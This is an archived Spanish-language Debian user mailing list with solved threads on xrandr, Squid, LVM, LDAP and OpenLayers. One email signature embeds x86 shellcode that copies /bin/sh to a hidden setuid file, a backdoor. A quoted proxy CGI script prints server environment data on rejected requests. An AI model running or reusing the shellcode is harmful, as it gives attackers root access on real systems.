> Archive: http://lists.debian.org/k7bg8b$ji$1...@ger.gmane.org
> 
> 

y ya cuando todo finalizo pongo la etiqueta resuelto ok muchas gracias saludos 

--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/blu0-smtp2867d29544e34f2d020cbaec5...@phx.gbl

Re: pausar arranque en debian6 (RESUELTO)

[linux]

El 01/10/12 10:50, Gonzalo Rivero escribió:

El lun, 01-10-2012 a las 10:40 -0400, linux escribió:

Saludos lista alguien sabe como pauso el arranque para ver algun detalle
en debian 6 saludos

Liuber


bloq-despl (o scrllock si tenés un teclado en inglés)





scrllock funciona ok, se detiene,gracias por la solucion

--

Este mensaje le ha llegado mediante el servicio de correo electronico que 
ofrece Infomed para respaldar el cumplimiento de las misiones del Sistema 
Nacional de Salud. La persona que envia este correo asume el compromiso de usar 
el servicio a tales fines y cumplir con las regulaciones establecidas

Infomed: http://www.sld.cu/


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5069aeba.8040...@infomed.sld.cu

Ayuda con el Tapiz (era: [RESUELTO] cambiar resolución Debian 6 LXDE )

[Camaleón]

El Wed, 27 Jun 2012 11:35:09 -0400, academia escribió:

> Hola lista, he resuelto el problema de la siquiente forma:
> 
> Como superusuario:
> 
> gedit /etc/xdg/lxsession/LXDE/autostart
> 
> Dependiendo de lo que nos falle, añadimos una nueva línea y guardamos el
> archivo (los cambios se notarán al volver a iniciar sesión):
> 
> @xrandr -s 1024x768
> @xrandr -r 60.0
> 
> Con la primera cambiaríamos la resolución de pantalla, con la segunda el
> refresco.

Es otra opción. Pero ¿por qué no lo pones todo en un mismo comando? :-?

@xrandr -s 1024x768 -r 60.0

> Reiniciar sistema.
> 
> 
> 
> Ahora tengo problemas con el tapiz, porque no me lo pone a pantalla
> completa. Voy a Preferencias del escritorio + Apariencia + Estirar para
> llenar toda la pantalla y funciona perfectamente. Vuelve el problema
> cuando reinicio, el tapiz me sale en varias partes. Es casi igual lo que
> me pasaba con la resolución de panatalla.
> 
> A los experimentados, qué hacer.

Lo primero, abrir un nuevo hilo para un nuevo problema >:-)

Mira a ver qué tienes en el archivo "~/.config/pcmanfm/default/
pcmanfm.conf", ahí deben estar los valores de configuración de tu 
escritorio almacenados.

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/jsfcm1$n1m$1...@dough.gmane.org

[RESUELTO] cambiar resolución Debian 6 LXDE Ayuda con el Tapiz

[academia]

Hola lista, he resuelto el problema de la siquiente forma:

Como superusuario:

gedit /etc/xdg/lxsession/LXDE/autostart

Dependiendo de lo que nos falle, añadimos una nueva línea y guardamos el
archivo (los cambios se notarán al volver a iniciar sesión):

@xrandr -s 1024x768
@xrandr -r 60.0

Con la primera cambiaríamos la resolución de pantalla, con la segunda el
refresco.

Reiniciar sistema.



Ahora tengo problemas con el tapiz, porque no me lo pone a pantalla
completa. Voy a Preferencias del escritorio + Apariencia + Estirar para
llenar toda la pantalla y funciona perfectamente. Vuelve el problema
cuando reinicio, el tapiz me sale en varias partes. Es casi igual lo que
me pasaba con la resolución de panatalla.

A los experimentados, qué hacer.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/62789.10.0.1.2.1340811309.squir...@www.correo.pinarte.cult.cu

Re: [RESUELTO]

[jmramirez (mas_ke_na)]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



acade...@pinarte.cult.cu escribió:
> 
> 
> 
> Saludos,

Buenas

Nos alegramos de que este resuelto.

Seria interesante saber que es. Tanto como la solución.

Hay que alimentarse de la lista y nutrirla con nuestras experiencias.
Creo que de algo así va todo el rollo ese de GNU.

Un saludo

- -- 
"Si los tontos volaran, el cielo se oscurecería"

No me envié correos en formatos propietarios
http://www.gnu.org/philosophy/no-word-attachments.es.html


-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJP6yCJAAoJEOWNzQnqy+fzyGIIAKrHXHlnjQB4hRZIqsNGr7gU
3HYpPBD4GC+bqZ2Ib4dw8WW847KxL9d0VxeOsS0f+1kpXcK1tgTROG7+lPQXEigF
MHB6fplnp89T4nzxbXhbhvtlbRYgBJkYicnH2SFYbYFqLNevgr18Z1xUWn/RxraT
qb6kXJVua09OuswPk14MnP2A5inFwtDDiF31djdAMOTQOVuyGTdudR2RFnMtiWHn
aIX0hfcmQ1blg2B82p+udCjQ07uGtvENPxuB8HP0phVAKcZlr7d1X3Ez//dcHkxL
y8Hz6Qe4awwV0NHCbboB02utEBWfUPWzzmoz+UXGhCRpKCzMHiJhyB9OxNtt+E0=
=LO6w
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/blu0-smtp16433e742a53ef877d7f7f1b1...@phx.gbl

[RESUELTO]

[academia]

Saludos,

==**==
M.Sc. Saúl Giniebra Muñoz
Profesor/Admin-Red "Academia de Artes Plásticas"
Pinar del Río. Cuba



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/57083.10.0.1.2.1340808185.squir...@www.correo.pinarte.cult.cu

OT Re: Filtrar con squid acceso a sitio y redirigir a otro o devolver error de url (resuelto (creo))

[Gonzalo Rivero]

El jue, 24-05-2012 a las 22:04 -0500, dovay escribió: 
> 
> 
> Squid +squid guard
> 
> 
> 
> 
> 
> 
> Enviado desde Samsung Mobile
> 
> Demian Pazos  escribió:
> Squid te permite personalizar eso agregando un html personalizado. Es
> preferible a utilizar iptables para eso.
> 
> Demian

offtopic: ¿es mucho pedir que contesten a la lista? si estoy suscripto
así que no necesito copia privada. 
¿en serio es tn difícil evitar el top-posting y escribir
abajo del e-mail?
> 
> El may 24, 2012 4:33 p.m., "Gonzalo Rivero" 
> escribió:
> El jue, 24-05-2012 a las 16:04 -0300, ciracusa escribió:
> > Gonzalo Rivero wrote:
> > > El jue, 24-05-2012 a las 09:45 -0300, adriancito escribió:
> > >
> > >> Hola Grupo.
> > >>
> > >> Es filtrar con Squid el acceso a un sitio y que en lugar
> de devolver una
> > >>
> > > es que... ¿posible?
> > >
> > >> pantalla de error o de bloqueo se devuelva un Time out o
> un tipo de
> > >> error poco comun?
> > >>
> > >
> > > si la palabra que te faltó fue "posible", entonces si: se
> puede hacer
> > > eso; revisá la documentación.
> > > O incluso podés divertirte solo con iptables (busca
> > > "updside-down-ternet" ;-) )
> > >
> > >
> > >
> >
> > Gracias Gonzalo, lo buscaré!
> >
> > La idea es que cierta PC no pueda acceder a un sitio, pero
> que no le
> > aparezca ningún cartel de prohibición.
> >
> > Salu2.
> >
> >
> 
> me llegó por error al privado
> 





-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/133795.3073.10.ca...@gonzalo.casa

Re: Filtrar con squid acceso a sitio y redirigir a otro o devolver error de url (resuelto (creo))

[dovay]

Squid +squid guard



Enviado desde Samsung MobileDemian Pazos  escribió:
Squid te permite personalizar eso agregando un html personalizado. Es
preferible a utilizar iptables para eso.

Demian
El may 24, 2012 4:33 p.m., "Gonzalo Rivero" 
escribió:

> El jue, 24-05-2012 a las 16:04 -0300, ciracusa escribió:
> > Gonzalo Rivero wrote:
> > > El jue, 24-05-2012 a las 09:45 -0300, adriancito escribió:
> > >
> > >> Hola Grupo.
> > >>
> > >> Es filtrar con Squid el acceso a un sitio y que en lugar de devolver
> una
> > >>
> > > es que... ¿posible?
> > >
> > >> pantalla de error o de bloqueo se devuelva un Time out o un tipo de
> > >> error poco comun?
> > >>
> > >
> > > si la palabra que te faltó fue "posible", entonces si: se puede hacer
> > > eso; revisá la documentación.
> > > O incluso podés divertirte solo con iptables (busca
> > > "updside-down-ternet" ;-) )
> > >
> > >
> > >
> >
> > Gracias Gonzalo, lo buscaré!
> >
> > La idea es que cierta PC no pueda acceder a un sitio, pero que no le
> > aparezca ningún cartel de prohibición.
> >
> > Salu2.
> >
> >
>
> me llegó por error al privado
>
>
> --
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmas...@lists.debian.org
> Archive: http://lists.debian.org/1337888012.2649.7.ca...@gonzalo.casa
>
>

Re: Filtrar con squid acceso a sitio y redirigir a otro o devolver error de url (resuelto (creo))

[Demian Pazos]

Squid te permite personalizar eso agregando un html personalizado. Es
preferible a utilizar iptables para eso.

Demian
El may 24, 2012 4:33 p.m., "Gonzalo Rivero" 
escribió:

> El jue, 24-05-2012 a las 16:04 -0300, ciracusa escribió:
> > Gonzalo Rivero wrote:
> > > El jue, 24-05-2012 a las 09:45 -0300, adriancito escribió:
> > >
> > >> Hola Grupo.
> > >>
> > >> Es filtrar con Squid el acceso a un sitio y que en lugar de devolver
> una
> > >>
> > > es que... ¿posible?
> > >
> > >> pantalla de error o de bloqueo se devuelva un Time out o un tipo de
> > >> error poco comun?
> > >>
> > >
> > > si la palabra que te faltó fue "posible", entonces si: se puede hacer
> > > eso; revisá la documentación.
> > > O incluso podés divertirte solo con iptables (busca
> > > "updside-down-ternet" ;-) )
> > >
> > >
> > >
> >
> > Gracias Gonzalo, lo buscaré!
> >
> > La idea es que cierta PC no pueda acceder a un sitio, pero que no le
> > aparezca ningún cartel de prohibición.
> >
> > Salu2.
> >
> >
>
> me llegó por error al privado
>
>
> --
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmas...@lists.debian.org
> Archive: http://lists.debian.org/1337888012.2649.7.ca...@gonzalo.casa
>
>

Re: Filtrar con squid acceso a sitio y redirigir a otro o devolver error de url (resuelto (creo))

[Gonzalo Rivero]

El jue, 24-05-2012 a las 16:04 -0300, ciracusa escribió: 
> Gonzalo Rivero wrote:
> > El jue, 24-05-2012 a las 09:45 -0300, adriancito escribió: 
> >   
> >> Hola Grupo.
> >>
> >> Es filtrar con Squid el acceso a un sitio y que en lugar de devolver una 
> >> 
> > es que... ¿posible? 
> >   
> >> pantalla de error o de bloqueo se devuelva un Time out o un tipo de 
> >> error poco comun?
> >> 
> >
> > si la palabra que te faltó fue "posible", entonces si: se puede hacer
> > eso; revisá la documentación.
> > O incluso podés divertirte solo con iptables (busca
> > "updside-down-ternet" ;-) )
> >
> >
> >   
> 
> Gracias Gonzalo, lo buscaré!
> 
> La idea es que cierta PC no pueda acceder a un sitio, pero que no le 
> aparezca ningún cartel de prohibición.
> 
> Salu2.
> 
> 

me llegó por error al privado


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/1337888012.2649.7.ca...@gonzalo.casa

[RESUELTO][OT] OOpenlayer dudas generales

[J.Alejandro Martinez Linares]

El 04/05/12 18:31, Camaleón escribió:

El Fri, 04 May 2012 10:39:39 -0400, islanis escribió:


Camaleón  escribió:


El Fri, 04 May 2012 09:29:38 -0400, islanis escribió:


Alguien ha trabajado con openlayer tengo algunas dudas que quiero
aclarrar,mi gran dudaes como configurar el proxy.cgi en mi  servidor
web

Esto es lo que pone en su FAQ, a ver si te da alguna pista:

(...)


- How do I set up a ProxyHost?

An example proxy host script is available here:
trunk/openlayers/examples/ proxy.cgi

ya lo conseguí y lo puse en practica pero no funciona

¿Qué significa "no funciona"? ¿Has cargado la página y qué te aparece?
¿Has revisado los registros de error de Apache y qué te dicen?


For the standard Apache configuration, you would place proxy.cgi into
your /usr/lib/cgi-bin/ directory.

Once a proxy host script has been installed, you must then edit the
OpenLayers.ProxyHost variable to match that URL.

Given the above standard Apache configuration:

 OpenLayers.ProxyHost = "/cgi-bin/proxy.cgi?url=";

If you have done something like this, you should be able to visit:

  http://YourDomain.example.com/cgi-bin/proxy.cgi

Esta es la parte que no entiendo , me parece que hay que tocar algunas
otras cosas, es que de entrada como lo estoy probando en mi misma pc lo
que pongo es

¿Qué es lo que pones? :-)


debo pensar entonces que localhost=YourDomain.example.com o como es?

Las instrucciones dan por hecho que tienes el Apache bien configurado y
por ende, que tienes un alias creado al directorio "/cgi-bin" por lo que
si este es tu caso tienes que poner tal y como indican, cargar la página
web y debería funcionar.

"YourDomain.example.com" tienes que sustituirlo -obviamente- por el
equipo donde tengas configurado el Apache, aunque seguramente te funcione
poniendo la ip local o "localhost" si lo ejecutas desde el mismo equipo
donde tienes el Apache ("http://192.168.0.1/cgi-bin/proxy.cgi"; o "http://
localhost/cgi-bin/proxy.cgi").

Saludos,

ya pude dar con lo que era era unas lineas de codigo en el proxy.cgi, y 
las cambie y ya me funciona, es cambiar lo que dice 
http://www.openlayers.org por http://localhost y bueno agregarle a 
allowedHosts los dos nuevos permitidos , es decir , es jugar con esos 
datos , gracias a todos











#!/usr/bin/env python -u


"""This is a blind proxy that we use to get around browser
restrictions that prevent the Javascript from loading pages not on the
same server as the Javascript.  This has several problems: it's less
efficient, it might break some sites, and it's a security risk because
people can use this proxy to browse the web and possibly do bad stuff
with it.  It only loads pages via http and https, but it can load any
content type. It supports GET and POST requests."""

import urllib2
import cgi
import sys, os

# Designed to prevent Open Proxy type stuff.

allowedHosts = ['www.openlayers.org', 'openlayers.org',
'labs.metacarta.com', 'world.freemap.in',
'prototype.openmnnd.org', 'geo.openplans.org',
'sigma.openplans.org', 'demo.opengeo.org',
'www.openstreetmap.org', 'sample.azavea.com',
'v2.suite.opengeo.org', 'v-swe.uni-muenster.de:8080',
'vmap0.tiles.osgeo.org', 'www.openrouteservice.org',
'localhost', 'localhost:8080']

method = os.environ["REQUEST_METHOD"]

if method == "POST":
qs = os.environ["QUERY_STRING"]
d = cgi.parse_qs(qs)
if d.has_key("url"):
url = d["url"][0]
else:
url = "http://www.openlayers.org";
else:
fs = cgi.FieldStorage()
url = fs.getvalue('url', "http://www.openlayers.org";)

try:
host = url.split("/")[2]
if allowedHosts and not host in allowedHosts:
print "Status: 502 Bad Gateway"
print "Content-Type: text/plain"
print
print "This proxy does not allow you to access that location 
(%s)." % (host,)

print
print os.environ

elif url.startswith("http://";) or url.startswith("https://";):

if method == "POST":
length = int(os.environ["CONTENT_LENGTH"])
headers = {"Content-Type": os.environ["CONTENT_TYPE"]}
body = sys.stdin.read(length)
r = urllib2.Request(url, body, headers)
y = urllib2.urlopen(r)
else:
y = urllib2.urlopen(url)

# print content type header
i = y.info()
if i.has_key("Content-Type"):
print "Content-Type: %s" % (i["Content-Type"])
else:
print "Content-Type: text/plain"
print

print y.read()

y.close()
else:
print "Content-Type: text/plain"
print
print "Illegal request."

except Exception, E:
print "Status: 500 Unexpected Error"
print "Content-Type: text/plain"
print
print "Some unexpected error occurred. Error text was:", E

--

Este mensaje le ha llegado mediante el servicio de correo electronico que 
ofrece Infomed

Re: [RESUELTO] LVM: redimensionar VG

[Francesc Guitart]

El vie, 04-05-2012 a las 16:25 -0400, Francisco Antonio escribió:
> El 04/05/12 10:58, Flako escribió: 
> > 
> > El 4 de mayo de 2012 11:54, Francesc Guitart 
> > escribió:
> > El 04/05/12, Carlos Tirado Elgueta 
> > escribió:
> > > No esta hablando de crear un nuevo VG.
> > >
> > > dijo crear un nuevo PV y añadirlo al VG existente.
> > >
> > > Te recomiendo ese procedimiento, nueva particion,
> > inicializarla como pv y
> > > agrandar el VG.
> > >
> > >
> > > Atte.
> > >
> > 
> > 
> > Hecho!
> > 
> > Ha funcionado perfecto. Gracias.
> > 
> > 
> > Haaa, si.. lo que dice carlos esta OK :)
> > 
> > Saludos.
> > 
> >  
> 
> Si a mi igual me marearon con los VG Y PV.
> Perdón pero me dio risa leer este email
> 
> Saludos.
> 

Aquí está explicado muy clarito:

http://www.debian-administration.org/articles/410




-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/1336173381.2190.1.camel@negret

Re: [RESUELTO] LVM: redimensionar VG

[Francisco Antonio]

El 04/05/12 10:58, Flako escribió:


El 4 de mayo de 2012 11:54, Francesc Guitart > escribió:


El 04/05/12, Carlos Tirado Elgueta mailto:carlos.tir...@gmail.com>> escribió:
> No esta hablando de crear un nuevo VG.
>
> dijo crear un nuevo PV y añadirlo al VG existente.
>
> Te recomiendo ese procedimiento, nueva particion, inicializarla
como pv y
> agrandar el VG.
>
>
> Atte.
>

Hecho!

Ha funcionado perfecto. Gracias.



Haaa, si.. lo que dice carlos esta OK :)

Saludos.



Si a mi igual me marearon con los VG Y PV.
Perdón pero me dio risa leer este email

Saludos.

--



char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


 >  Linux Counter ( http://counter.li.org )
 >  --*
 >  Usuario #551263

Re: [RESUELTO] LVM: redimensionar VG

[Flako]

El 4 de mayo de 2012 11:54, Francesc Guitart  escribió:

> El 04/05/12, Carlos Tirado Elgueta  escribió:
> > No esta hablando de crear un nuevo VG.
> >
> > dijo crear un nuevo PV y añadirlo al VG existente.
> >
> > Te recomiendo ese procedimiento, nueva particion, inicializarla como pv y
> > agrandar el VG.
> >
> >
> > Atte.
> >
>
> Hecho!
>
> Ha funcionado perfecto. Gracias.
>


Haaa, si.. lo que dice carlos esta OK :)

Saludos.

Re: [RESUELTO] LVM: redimensionar VG

[Francesc Guitart]

El 04/05/12, Carlos Tirado Elgueta  escribió:
> No esta hablando de crear un nuevo VG.
>
> dijo crear un nuevo PV y añadirlo al VG existente.
>
> Te recomiendo ese procedimiento, nueva particion, inicializarla como pv y
> agrandar el VG.
>
>
> Atte.
>

Hecho!

Ha funcionado perfecto. Gracias.

-- 
Francesc Guitart


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CAOUhjL6JmYbL_32g8PeW+=dk4hwcx0bdr7jh+3hzl4ap9ff...@mail.gmail.com

Re: pregunta sobre ldap en el lado cliente [Resuelto]

[joel]

El 22/03/2012 11:23 a.m., Pedro Frejo escribió:

El 22/03/12 16:13, joel escribió:

Hola colegas,

Tengo el siguiente problema,
despues de haber configurado un servidor LDAP en Debian Squeeze y 
comprobar que funciona
me puse a configurar un pc tambien con Debian Squeeze la configure 
para que los usuarios se logueen contra LDAP,
segun las comprobaciones con el comando pamtest servicio usuario me 
logueo bien pero al entrar como ese usuario me dise que Nautilius no 
ha podido crear las Carpetas del Usuario Desktop .Nautilius y otras y 
ademas luego me dice que tiene problemas con ICEAuthority y aunque 
parece que se loguea no pasa de ahi,

que puedo hacer

Gracias
--
Saludos

--
   0ooo
   ooo0(   )
   (   )) /
\ ((_/
 \_)
ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
   Joel  Ventura Castillo
 Téc. Ciencias Informáticas
   Empresa Importadora - Exportadora MINIL
  Dir.: O' Relly No. 152 e/ San Ignacio y Mercaderes,
   Habana Vieja, Cuba.
 E-Mail:j...@ecoimpex.com.cu
 Teléf.: 8625081 al 84, Ext. 127
ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø

Este mensaje ha sido escaneado por Security Plus para MDaemon

Buenas Joel,

Parece un problema de permisos en el directorio personal del usuario. 
En la máquina cliente, suponiendo que el usuario se llame Desktop,
Asegúrate de que el directorio «/home/Desktop existe» y que además su 
propietario sea Desktop.

$ ls -l /home | grep Desktop

Si no es así, créala como superusuario.
# cd /home && mkdir /home/Desktop && chown -R 
Desktop:Desktop Desktop


Espero que te sirva, un saludo.


Pedro Frejo


Gracias Pedro, no fue esa la solución pero me dio idea por donde buscar. 
comento que el problema es que los usuarios que estaba creando eran del 
tipo nombre[punto]apellido y al parecer el Deb tiene problemas con esto, 
al configurar
homeDirectory a nombreapellido, aun manteniendo el nombre del usuario 
con el punto de separación se me arreglo todo el rollo, ya me crea bien 
los usuarios y me permite trabajar con ellos.


Al colega cubano que me escribió diciéndome que seguía el hilo para ver 
si podía el también hacer la instalación, puede escribirme por el 
privado para mandarle la guía de instalación y si quiere un script para 
instalar y los ficheros ya configurados para esto,

Cualquier cosa estoy aquí para compartir aunque soy nuevo en Linux.

--
Saludos

--
  0ooo
  ooo0(   )
  (   )) /
   \ ((_/
\_)
ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
  Joel  Ventura Castillo
Téc. Ciencias Informáticas
  Empresa Importadora - Exportadora MINIL
 Dir.: O' Relly No. 152 e/ San Ignacio y Mercaderes,
   Habana Vieja, Cuba.
   E-Mail: j...@ecoimpex.com.cu
   Teléf.: 8625081 al 84, Ext. 156
ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø



Este mensaje ha sido escaneado por Security Plus para MDaemon

Re: Duda con lspci y lshw [resuelto]

[jmramirez (mas_ke_na)]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1



Javier Barroso escribió:
> On Tue, Feb 28, 2012 at 1:57 PM, jmramirez (mas_ke_na)
>  wrote:
(...)
>> # Tengo dos tarjetas de red en el equipo, la wifi no la detecta
>>
>> 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd.
>> RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 01)
>> 04:01.0 Ethernet controller: Realtek Semiconductor Co., Ltd.
>> RTL-8139/8139C/8139C+ (rev 10)
> 
> Buenas,
> 
> Yo probaría a cambiar el orden de las tarjetas, por ejemplo la wifi en
> la RTL-8139 y la RTL-8139 en el slot donde está ahora la wifi
> 
> una vez cambiada lspci debería sacarte la info de la wifi en el
> 04:01.0, si no tiene toda la pinta que la tarjeta no está bien, aunque
> no sé como es que windows sí te la detecta
> 
> Un saludo
Buenas

Gracias por el tip, eso fue algo que ya hice y no hubo suerte. no se
detecto. (abrí dos hilos, porque uno se me fue con html)

Hoy me he traído otra tarjeta un modelo superior y esta es detectada
por el lspci. Así que entiendo que esta rota la otra tarjeta (aunque aun
le haré algunas pruebas mas).

Muchas gracias a todos

Un saludo
- -- 
"Si los tontos volaran, el cielo se oscurecería"

No me envié correos en formatos propietarios
http://www.gnu.org/philosophy/no-word-attachments.es.html
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJPTfglAAoJEOWNzQnqy+fz0PAH/1vA/OT3gPwWvgz1ifedx1h1
WAdfnHeth6HdneRkSW3YxzkK5IBCup/dXvXr1dL4zFI0kftnsAWRyZXimWOgbv/o
TLxtT5aNP504hjwzBBwBB6gO+Mxy8of0FNRdZFLtH3ENgU3cJs8SqkzYx7hKMvRU
HzEufXfU8fq1iLmxNh7eEPXH03Ccp/dP5qnA6teOhclsJ8B7oUWXJslWBJtT3Urg
K2E6WLvrO1hYLtdc35I/xiJDGX2KsgphQ8cYzucvM/+SGGQ+Ca9zj0OtGlh28xlr
PFOsrw0xYkyU2Q5OlLn1UKg6bfAre+ERpeuN1ZffVUzQPEAIMOEtVwtTzpGsdrM=
=pY1h
-END PGP SIGNATURE-


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/blu0-smtp202ecc2136f1b35f59426ebb1...@phx.gbl

Re: Auditoria Interna y las Funciones del Auditor Actual (RESUELTO)

[Ricardo Adolfo Sánchez Arboleda]

No te preocupes este es el día a día en esta lista.



*Saludos;*

|---
|   ,''` .Ing, Ricardo Adolfo Sánchez Arboleda
|  : :'  :   rasa996...@gmail.com
|  `. `'  Debian GNU/Linux 6.0.4 (squeeze)
|`-   http://www.debiancolombia.org/
|---






El 21 de febrero de 2012 20:17, Felix Perez
escribió:

> El día 21 de febrero de 2012 19:06, M. Wallace S. D.
>  escribió:
> > Muchas gracias Facundo!
> >
> > He leído el link y la verdad me servio de mucho, nada comparado con la
> > respuesta del compañero AMARGADO Felix Perez quien me respondio
> > anteriormente!
>
> Vaya,  ahora por ayudar uno es amargado, bueno que se le va a hacer
> otro más al filtro.
>
> --
> usuario linux  #274354
> normas de la lista:  http://wiki.debian.org/es/NormasLista
> como hacer preguntas inteligentes:
> http://www.sindominio.net/ayuda/preguntas-inteligentes.html
>
>
> --
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmas...@lists.debian.org
> Archive:
> http://lists.debian.org/caaizax6q1drgwakjp+nv7mprsba0keupbhsljf7fmbaqgs...@mail.gmail.com
>
>

Re: Auditoria Interna y las Funciones del Auditor Actual (RESUELTO)

[Felix Perez]

El día 21 de febrero de 2012 19:06, M. Wallace S. D.
 escribió:
> Muchas gracias Facundo!
>
> He leído el link y la verdad me servio de mucho, nada comparado con la
> respuesta del compañero AMARGADO Felix Perez quien me respondio
> anteriormente!

Vaya,  ahora por ayudar uno es amargado, bueno que se le va a hacer
otro más al filtro.

-- 
usuario linux  #274354
normas de la lista:  http://wiki.debian.org/es/NormasLista
como hacer preguntas inteligentes:
http://www.sindominio.net/ayuda/preguntas-inteligentes.html


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CAAiZAx6q1drgwaKjp+Nv7mprsba0kEU=pbhsljf7fmbaqgs...@mail.gmail.com

Re: Auditoria Interna y las Funciones del Auditor Actual (RESUELTO)

[M. Wallace S. D.]

Muchas gracias Facundo!

He leído el link y la verdad me servio de mucho, nada comparado con la
respuesta del compañero AMARGADO Felix Perez quien me respondio
anteriormente!

Saludos =)

2012/2/19 Facundo Aguirre 

> On Sun, Feb 19, 2012 at 06:20:56PM -0300, Felix Perez wrote:
> > El día 19 de febrero de 2012 17:35, M. Wallace S. D.
> >  escribió:
> > > Hola compañeros,
> > >
> > > A los coordinadores de la lista les pregunto si no hay forma de
> bloquear ese
> > > tipo de SPAM, para que los nuvevos en la lista no caigan en este tipo
> de
> > > fraude.
> > >
>
> Te recomeiendo que leas
> http://wiki.debian.org/Teams/ListMaster/ListArchiveSpam/
> es sobre el spam en las listas de Debian.
>
> Especialmente la sección "Methods to Nominate Spam for the
> Review-Process", donde se indican distintas maneras de reportar spam.
>
> Saludos,
> Facundo
>
>
> --
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmas...@lists.debian.org
> Archive: http://lists.debian.org/20120219215418.gf8...@who.void
>
>


-- 
Marcio Wallace Santos Damasceno
044 55 3575 2122
5873 7366

Re: [RESUELTO] Re: Actividad extraña en el disco duro

[Altair Linux]

Buenas,

creo que fue causado por una descarga de un episodio de una serie. La
url no la tengo, pero el mensaje de aviso de iceweasel era claro, que
el script no paraba de ejecutarse y me preguntaba si le dejaba
continuar o forzaba su finalizacion.

Creo que coincidio con que la maquina virtual estaba trabajando a
tope, y entre las dos cosas tenia el pc casi saturado.


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/ca+hdpfjhk_rantdadglsfgfoxzofjjswoj_pm1kfsolkcfw...@mail.gmail.com

Re: [RESUELTO] Re: Actividad extraña en el disco duro

[Juan Lavieri]

Hola

El 16/02/12 07:07, Altair Linux escribió:

Hola a todos, estoy de vuelta en el pc normal.

no tenia acceso a nada desde la consola, ponia mi usuario normal pero
no llegaba a pedirme el password, me salia timeout.

Creo que efectivamente estaba usando swap a saco. he tardado hora y
media en volver a tener el control. que se dice pronto. Cuando por fin
he recuperado el control me he puesto a mirar por todas partes a ver
que habia podido pasar.

Pues parece que ha sido un script web malicioso que se ha dedicado a
ocupar toda la memoria disponible, parece que de ahi que el pc
estuviera sobrecargado a mas no poder.

Parece que todo ha acabado, llevo ya un rato y parece normal.


Yo que tu ejecutaría un

#chkrootkit

Por si las moscas...

Saludos









--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
